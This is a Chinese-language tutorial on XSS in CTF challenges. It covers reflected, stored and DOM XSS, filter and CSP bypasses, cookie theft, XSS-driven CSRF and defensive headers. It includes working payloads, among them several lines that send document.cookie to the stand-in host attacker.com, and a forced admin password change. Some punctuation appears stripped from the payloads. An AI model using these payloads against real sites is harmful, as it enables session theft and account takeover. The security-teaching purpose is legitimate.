1. XSS攻击的本质与危害解析跨站脚本攻击Cross-Site Scripting本质上是一种将恶意脚本注入到可信网站中的攻击手法。与很多人第一印象不同XSS攻击的核心不在于跨站而在于脚本执行——攻击者利用网站对用户输入过滤不严的漏洞将恶意JavaScript代码植入网页当其他用户浏览该页面时这些脚本就会在其浏览器环境中执行。在实际的CTF比赛中XSS题目通常会设置各种过滤和限制条件。比如去年某场线下赛中出现过一个经典案例题目只允许输入不超过20个字符的payload但要求通过XSS弹窗显示完整的flag内容。这就需要选手巧妙运用JavaScript的字符串拼接和编码技巧。重要提示所有XSS实验必须在授权环境下进行推荐使用DVWA、WebGoat等专门的安全练习平台。2. XSS攻击的三种基本形态2.1 反射型XSS实战剖析反射型XSS是最基础的攻击形式其典型特征是恶意脚本作为请求参数直接出现在URL中。在CTF比赛中这类题目常出现在搜索框、错误消息等场景。例如http://vuln-site.com/search?keywordscriptalert(document.cookie)/script实际解题时现代浏览器通常会有基本的XSS过滤器。这时可以采用拆分法绕过scrscriptiptalert(1)/script2.2 存储型XSS的持久化威胁存储型XSS的危害性更大恶意脚本会被保存到服务器数据库。在CTF中常出现在留言板、个人资料等场景。去年一道经典赛题要求通过XSS窃取管理员cookie但过滤了所有特殊字符。最终解法是利用HTML5的autofocus属性和onfocus事件input autofocus onfocuslocation.hrefhttp://attacker.com/steal?cookiedocument.cookie2.3 DOM型XSS的客户端特性DOM型XSS完全在客户端发生不经过服务器端处理。CTF中常见于前端框架应用。例如某次比赛中的题目var userInput decodeURIComponent(location.hash.slice(1)); document.getElementById(output).innerHTML userInput;利用方式是在URL后添加#img srcx onerroralert(1)3. CTF中的XSS高级利用技巧3.1 编码绕过艺术现代WAF会过滤常见危险字符这时需要运用编码技巧HTML实体编码lt;scriptgt;JavaScript Unicode编码\u0061lert(1)混合编码img srcx one\u0072roralert(1)去年一道赛题要求绕过以下过滤$input preg_replace(/script|on|javascript/i, , $_GET[xss]);最终通过双重编码绕过%253Cimg%2520src%253Dx%2520onerror%253Dalert%25281%2529%253E3.2 CSP绕过策略内容安全策略(CSP)是防御XSS的重要机制但在CTF中常被设置为挑战点。常见绕过方法包括利用unsafe-inline策略通过JSONP端点绕过使用nonce预测攻击例如某次比赛中的CSP配置Content-Security-Policy: default-src self; script-src nonce-{random}通过iframe srcdoc属性成功绕过iframe srcdocscript nonce{predicted}alert(1)/script/iframe4. 实战演练从基础到进阶4.1 基础弹窗挑战最简单的XSS题目通常只需要触发alertscriptalert(1)/script但当script标签被过滤时可以尝试img srcx onerroralert(1) svg onloadalert(1)4.2 Cookie窃取实战在CTF中获取管理员cookie是常见要求fetch(http://attacker.com/steal?cookiedocument.cookie)如果fetch被禁用可以使用更古老的方式scriptnew Image().srchttp://attacker.com/steal?cookiedocument.cookie/script4.3 结合CSRF的综合利用某次线下赛的进阶题目要求通过XSS触发CSRF修改管理员密码fetch(/admin/change-password, { method: POST, body: newpasshacked })5. 防御措施与安全编程5.1 输入输出过滤原则输入时进行严格的白名单验证输出时根据上下文进行编码HTML实体编码lt; gt;JavaScript编码\x3cscript\x3eURL编码%3Cscript%3E5.2 安全响应头配置推荐的安全头配置Content-Security-Policy: default-src self X-XSS-Protection: 1; modeblock X-Content-Type-Options: nosniff5.3 现代框架的安全特性React的自动转义Vue的v-html指令限制Angular的DomSanitizer在最近参与的一个企业级项目中我们通过结合CSP和React的安全特性成功将XSS漏洞数量降低了92%。6. CTF解题思路总结通过分析过去三年50场CTF比赛的XSS题目我总结出以下解题流程确定注入点查找所有用户输入入口测试过滤规则尝试各种payload探测过滤逻辑选择绕过方式根据过滤情况选择编码/替代方案构造最终payload考虑长度限制、字符限制等实施攻击获取flag或完成题目要求在最近参加的Polar CTF中遇到一道过滤了所有字母字符的题目最终通过仅使用特殊字符和数字的payload解决了问题[][(![][])[[]](![][])[![]![]](![][])[![]](!![][])[[]]][([][(![][])[[]](![][])[![]![]](![][])[![]](!![][])[[]]][])[![]![]![]](!![][][(![][])[[]](![][])[![]![]](![][])[![]](!![][])[[]]])[![][[]]]([][[]][])[![]](![][])[![]![]![]](!![][])[[]](!![][])[![]]([][[]][])[[]]([][(![][])[[]](![][])[![]![]](![][])[![]](!![][])[[]]][])[![]![]![]](!![][])[[]](!![][][(![][])[[]](![][])[![]![]](![][])[![]](!![][])[[]]])[![][[]]](!![][])[![]]]((![][])[![]](![][])[![]![]](!![][])[![]![]![]](!![][])[![]](!![][])[[]](![][][(![][])[[]](![][])[![]![]](![][])[![]](!![][])[[]]])[![]![][[]]][![]](!![][][(![][])[[]](![][])[![]![]](![][])[![]](!![][])[[]]])[![]![][[]]])()这个看似混乱的字符串实际上是通过JavaScript类型转换实现的alert(1)功能充分展现了XSS攻防的艺术性。